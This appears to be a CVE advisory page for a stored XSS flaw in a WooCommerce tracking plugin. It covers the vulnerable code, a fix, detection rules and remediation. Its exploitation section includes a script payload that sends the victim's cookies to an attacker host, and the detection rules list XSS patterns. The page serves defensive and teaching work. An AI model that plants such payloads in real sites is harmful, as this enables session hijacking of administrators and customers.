CVE-2024-24878
Executive Summary
CVE-2024-24878 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Portugal CTT Tracking for WooCommerce WordPress plugin (versions <= 2.1). This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into the web page, which executes in the context of any user viewing the affected page. The vulnerability stems from improper neutralization of input during web page generation, specifically within the plugin’s tracking functionality.
As a WordPress ecosystem issue, this plugin is commonly used by e-commerce sites in Portugal to integrate CTT (Portuguese postal service) tracking. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): Required (R) – Victim must visit a crafted page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Partial modification possible.
- Availability (A): Low (L) – Minor disruption.
Threat Level: High (7.1) – Exploitation is straightforward, and the plugin is widely deployed in Portuguese e-commerce.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s tracking number input field. When a user submits a tracking number (e.g., via order comments or admin panel), the plugin fails to sanitize the input before rendering it in the browser. An attacker can inject a payload like:
<script>alert('XSS')</script>
This payload is stored in the WordPress database and executed when any user (including administrators) views the order details or tracking page. The lack of output encoding allows the script to run in the victim’s browser.
Attack Flow:
- Attacker identifies a WooCommerce site using the vulnerable plugin.
- Attacker submits a crafted order comment containing malicious JavaScript.
- The payload is stored and rendered without sanitization.
- When an admin or customer views the order, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (portugal-ctt-tracking-woocommerce.php, line ~120):
echo '<div class="ctt-tracking">' . $tracking_number . '</div>';
The $tracking_number variable is output directly without escaping.
Patched Code (hypothetical fix):
echo '<div class="ctt-tracking">' . esc_html( $tracking_number ) . '</div>';
Using esc_html() ensures HTML entities are encoded, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WooCommerce and Portugal CTT Tracking plugin <= 2.1.
- Ability to submit a comment or order with a tracking number.
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-json/wc/v3/ordersor the order comment form). - Inject payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the order/comment.
- Wait for an admin to view the order – cookie is exfiltrated.
Lab Setup:
- Use a local WordPress instance with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -p 8080:80 -d wordpress - Install WooCommerce and the vulnerable plugin manually.
Blue Team (Detection & Response)
Detection:
- Monitor for unusual order comments containing
<script>tags. - Use WAF rules to block XSS payloads in order fields.
Response:
- Immediately disable the plugin if no patch is available.
- Review recent orders for injected scripts.
- Rotate admin session cookies.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains from the WordPress server.
- File: Modified
portugal-ctt-tracking-woocommerce.php(if attacker alters plugin code). - Database: Entries in
wp_commentsorwp_postmetacontaining<script>tags. - Logs: Unusual user agent strings or repeated POST requests to order endpoints.
Detection Engineering
YARA Rule
rule detect_ctt_xss_payload {
meta:
description = "Detects XSS payloads targeting CVE-2024-24878 in WordPress"
author = "Valters IT"
date = "2025-04-10"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-24878 XSS Attempt in WordPress Order Comments
id: 8a3f2c1e-5d7b-4a9f-8c6e-1b2d3e4f5a6b
status: experimental
description: Detects XSS payloads in WooCommerce order comments
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wc/v3/orders'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in comments (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-24878 XSS Payload in WooCommerce Order"; flow:to_server; content:"POST"; http_method; content:"/wc/v3/orders"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads.
- Audit recent orders for malicious content.
Long-Term Fix:
- Replace the plugin with an alternative CTT tracking solution.
- Apply output escaping (
esc_html(),esc_attr()) to all user-supplied data. - Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Use a security plugin like Wordfence to add virtual patching.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.